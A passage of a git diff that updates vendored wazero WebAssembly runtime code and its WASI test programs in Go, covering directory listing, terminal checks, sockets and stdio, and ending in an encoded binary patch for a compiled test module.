socketapi.SHUT_RD | socketapi.SHUT_WR case wasip1.SD_RD: - sysHow = syscall.SHUT_RD + sysHow = socketapi.SHUT_RD case wasip1.SD_WR: - sysHow = syscall.SHUT_WR + sysHow = socketapi.SHUT_WR default: - return syscall.EINVAL + return sys.EINVAL } + // TODO: Map this instead of relying on syscall symbols. return conn.Shutdown(sysHow) } diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/gotip/wasi.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/gotip/wasi.go index 50612cb871..78fd70ce21 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/gotip/wasi.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/gotip/wasi.go @@ -1,32 +1,117 @@ package main import ( + "bytes" + "errors" "fmt" "io" + "io/fs" "net" "net/http" "os" + "strconv" + "strings" "sync" "syscall" + "time" ) func main() { switch os.Args[1] { + case "ls": + var repeat bool + if len(os.Args) == 4 { + repeat = os.Args[3] == "repeat" + } + // Go doesn't open with O_DIRECTORY, so we don't end up with ENOTDIR, + // rather EBADF trying to read the directory later. + if err := mainLs(os.Args[2], repeat); errors.Is(err, syscall.EBADF) { + fmt.Println("ENOTDIR") + } else if err != nil { + panic(err) + } + case "stat": + if err := mainStat(); err != nil { + panic(err) + } case "sock": if err := mainSock(); err != nil { panic(err) } + case "nonblock": + if err := mainNonblock(os.Args[2], os.Args[3:]); err != nil { + panic(err) + } + } + + // Handle go-specific additions + switch os.Args[1] { case "http": if err := mainHTTP(); err != nil { panic(err) } - case "nonblock": - if err := mainNonblock(os.Args[2], os.Args[3:]); err != nil { + case "stdin": + if err := mainStdin(); err != nil { panic(err) } + case "stdout": + mainStdout() + case "largestdout": + mainLargeStdout() } } +func mainLs(path string, repeat bool) error { + d, err := os.Open(path) + if err != nil { + return err + } + defer d.Close() + + if err = printFileNames(d); err != nil { + return err + } else if repeat { + // rewind + if _, err = d.Seek(0, io.SeekStart); err != nil { + return err + } + return printFileNames(d) + } + return nil +} + +func printFileNames(d *os.File) error { + if names, err := d.Readdirnames(-1); err != nil { + return err + } else { + for _, n := range names { + fmt.Println("./" + n) + } + } + return nil +} + +func mainStat() error { + var isatty = func(name string, fd uintptr) error { + f := os.NewFile(fd, "") + if st, err := f.Stat(); err != nil { + return err + } else { + ttyMode := fs.ModeDevice | fs.ModeCharDevice + isatty := st.Mode()&ttyMode == ttyMode + fmt.Println(name, "isatty:", isatty) + return nil + } + } + + for fd, name := range []string{"stdin", "stdout", "stderr", "/"} { + if err := isatty(name, uintptr(fd)); err != nil { + return err + } + } + return nil +} + // mainSock is an explicit test of a blocking socket. func mainSock() error { // Get a listener from the pre-opened file descriptor. @@ -57,6 +142,61 @@ func mainSock() error { return nil } +// Adapted from nonblock.go +// https://github.com/golang/go/blob/0fcc70ecd56e3b5c214ddaee4065ea1139ae16b5/src/runtime/internal/wasitest/testdata/nonblock.go +func mainNonblock(mode string, files []string) error { + ready := make(chan struct{}) + + var wg sync.WaitGroup + for _, path := range files { + f, err := os.Open(path) + if err != nil { + return err + } + switch mode { + case "open": + case "create": + fd := f.Fd() + if err = syscall.SetNonblock(int(fd), true); err != nil { + return err + } + f = os.NewFile(fd, path) + default: + return fmt.Errorf("invalid test mode") + } + + spawnWait := make(chan struct{}) + + wg.Add(1) + go func(f *os.File) { + defer f.Close() + defer wg.Done() + + // Signal the routine has been spawned. + close(spawnWait) + + // Wait until ready. + <-ready + + var buf [256]byte + + if n, err := f.Read(buf[:]); err != nil { + panic(err) + } else { + os.Stderr.Write(buf[:n]) + } + }(f) + + // Spawn one goroutine at a time. + <-spawnWait + } + + println("waiting") + close(ready) + wg.Wait() + return nil +} + // mainHTTP implicitly tests non-blocking sockets, as they are needed for // middleware. func mainHTTP() error { @@ -106,57 +246,64 @@ func (e echoOnce) ServeHTTP(w http.ResponseWriter, r *http.Request) { close(e.ch) } -// Adapted from nonblock.go -// https://github.com/golang/go/blob/0fcc70ecd56e3b5c214ddaee4065ea1139ae16b5/src/runtime/internal/wasitest/testdata/nonblock.go -func mainNonblock(mode string, files []string) error { - ready := make(chan struct{}) +// Reproducer for https://github.com/tetratelabs/wazero/issues/1538 +func mainStdin() error { + go func() { + time.Sleep(1 * time.Second) + os.Stdout.WriteString("waiting for stdin...\n") + }() - var wg sync.WaitGroup - for _, path := range files { - f, err := os.Open(path) - if err != nil { - return err - } - switch mode { - case "open": - case "create": - fd := f.Fd() - if err = syscall.SetNonblock(int(fd), true); err != nil { - return err - } - f = os.NewFile(fd, path) - default: - return fmt.Errorf("invalid test mode") - } + b, err := io.ReadAll(os.Stdin) + if err != nil { + return err + } + os.Stdout.Write(b) + return nil +} - spawnWait := make(chan struct{}) +func mainStdout() { + os.Stdout.WriteString("test") +} - wg.Add(1) - go func(f *os.File) { - defer f.Close() - defer wg.Done() +func mainLargeStdout() { + const ntest = 1024 - // Signal the routine has been spawned. - close(spawnWait) + var decls, calls bytes.Buffer - // Wait until ready. - <-ready + for i := 1; i <= ntest; i++ { + s := strconv.Itoa(i) + decls.WriteString(strings.Replace(decl, "$", s, -1)) + calls.WriteString(strings.Replace("call(test$)\n\t", "$", s, -1)) + } - var buf [256]byte + program = strings.Replace(program, "$DECLS", decls.String(), 1) + program = strings.Replace(program, "$CALLS", calls.String(), 1) + fmt.Print(program) +} - if n, err := f.Read(buf[:]); err != nil { - panic(err) - } else { - os.Stderr.Write(buf[:n]) - } - }(f) +var program = `package main - // Spawn one goroutine at a time. - <-spawnWait +var count int + +func call(f func() bool) { + if f() { + count++ } +} - println("waiting") - close(ready) - wg.Wait() - return nil +$DECLS + +func main() { + $CALLS + if count != 0 { + println("failed", count, "case(s)") + } } +` + +const decl = ` +type T$ [$]uint8 +func test$() bool { + v := T${1} + return v == [$]uint8{2} || v != [$]uint8{1} +}` diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/tinygo/wasi.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/tinygo/wasi.go new file mode 100644 index 0000000000..6c52cc4bcd --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/tinygo/wasi.go @@ -0,0 +1,88 @@ +package main + +import ( + "errors" + "fmt" + "io" + "io/fs" + "os" + "syscall" +) + +func main() { + switch os.Args[1] { + case "ls": + var repeat bool + if len(os.Args) == 4 { + repeat = os.Args[3] == "repeat" + } + // Go doesn't open with O_DIRECTORY, so we don't end up with ENOTDIR, + // rather EBADF trying to read the directory later. + if err := mainLs(os.Args[2], repeat); errors.Is(err, syscall.EBADF) { + fmt.Println("ENOTDIR") + } else if err != nil { + panic(err) + } + case "stat": + if err := mainStat(); err != nil { + panic(err) + } + case "sock": + // TODO: undefined: net.FileListener + // See https://github.com/tinygo-org/tinygo/pull/2748 + case "nonblock": + // TODO: undefined: syscall.SetNonblock + // See https://github.com/tinygo-org/tinygo/issues/3840 + } +} + +func mainLs(path string, repeat bool) error { + d, err := os.Open(path) + if err != nil { + return err + } + defer d.Close() + + if err = printFileNames(d); err != nil { + return err + } else if repeat { + // rewind + if _, err = d.Seek(0, io.SeekStart); err != nil { + return err + } + return printFileNames(d) + } + return nil +} + +func printFileNames(d *os.File) error { + if names, err := d.Readdirnames(-1); err != nil { + return err + } else { + for _, n := range names { + fmt.Println("./" + n) + } + } + return nil +} + +func mainStat() error { + var isatty = func(name string, fd uintptr) error { + f := os.NewFile(fd, "") + if st, err := f.Stat(); err != nil { + return err + } else { + ttyMode := fs.ModeDevice | fs.ModeCharDevice + isatty := st.Mode()&ttyMode == ttyMode + fmt.Println(name, "isatty:", isatty) + return nil + } + } + + for fd, name := range []string{"stdin", "stdout", "stderr", "/"} { + if err := isatty(name, uintptr(fd)); err != nil { + return err + } + } + return nil +} diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/tinygo/wasi.wasm b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/tinygo/wasi.wasm new file mode 100644 index 0000000000000000000000000000000000000000..d7dfb28d32ebedf2bfeacf61001e24253ca08b20 GIT binary patch literal 109235 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 